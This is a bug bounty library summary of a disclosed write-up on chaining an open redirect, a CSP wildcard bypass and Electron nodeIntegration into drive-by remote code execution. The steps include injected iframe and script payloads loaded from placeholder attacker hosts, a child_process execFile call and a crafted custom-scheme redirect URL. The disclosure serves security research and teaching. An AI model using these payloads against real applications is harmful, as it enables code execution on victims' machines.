# Open Sesame: Escalating Open Redirect to RCE with Electron Code Review

Open redirect in a collaboration web app chained with Electron nodeIntegration and a custom URL scheme handler yields drive-by RCE when a victim loads an attacker page.

- Payout: Research
- Severity: high
- Program: Unnamed collaboration app
- Write-up by: Eugene Lim
- Disclosed: 2020-08-14
- Write-up quality: 8/10
- Original: https://spaceraccoon.dev/open-sesame-escalating-open-redirect-to-rce-with-electron-code-review/
- Library page: https://bugbountylibrary.com/r/blog%3Aspaceraccoon-dev-open-sesame-escalating-open-redirect-to-rce-with-electron-code-review
- Tags: area:os domain:desktop impact:rce kind:research platform:research sev:high tech:electron technique:chained technique:source-review vuln:open-redirect vuln:rce vuln:xss

**Target:** Electron desktop collaboration client and its web redirect endpoint
**Root cause:** nodeIntegration:true with require re-exposed via preload (window.nodeRequire), plus a custom URL scheme handler that whitelists only the domain of a URL that passes through an open redirect on that same domain.
**Steps:**
1. Extract app.asar via `npx asar extract app.asar source` and read package.json/index.js
2. Confirm `nodeIntegration: true` and preload.js doing `window.nodeRequire = require; delete window.require`
3. Launch with `electron . --proxy-server=127.0.0.1:8080` and find HTML injection in message/upload inputs
4. CSP blocks inline/event handlers but allows `https://*.s3.amazonaws.com`; inject `<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>`
5. In evilscript.js use `window.parent.nodeRequire('child_process').execFile(...)` since require was deleted
6. Find open redirect `https://collabapplication.com/redirect.jsp?next=//evil.com`
7. Craft `collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html` so the scheme handler's domain whitelist passes but redirects to attacker page
**How found:** Inspired by Electron XSS research; decompiled asar, grepped for globalShortcut to find a hidden CMD+H dev menu with DevTools, observed CSP violation errors, noticed wildcard S3 in CSP, then code-read the custom scheme launch handler and noticed its whitelist relied on a URL that could be redirected.
**Exploitation:** Victim visits any page that triggers the collabapp:// custom URL scheme; the handler extracts the URL, whitelist check passes on collabapplication.com, then the open redirect loads attacker HTML in the Electron window, which calls window.parent.nodeRequire('child_process').execFile to run native code.
**Escalation:** Chained open redirect -> custom URL scheme handler -> nodeIntegration RCE, converting a low-impact redirect into drive-by native code execution.
**Insight:** When auditing Electron apps, grep for globalShortcut to recover hidden DevTools menus, and treat CSP wildcards like `*.s3.amazonaws.com` as script-src bypasses via iframe srcdoc; also check custom URL scheme handlers whose domain whitelist can be defeated by an open redirect on the whitelisted domain.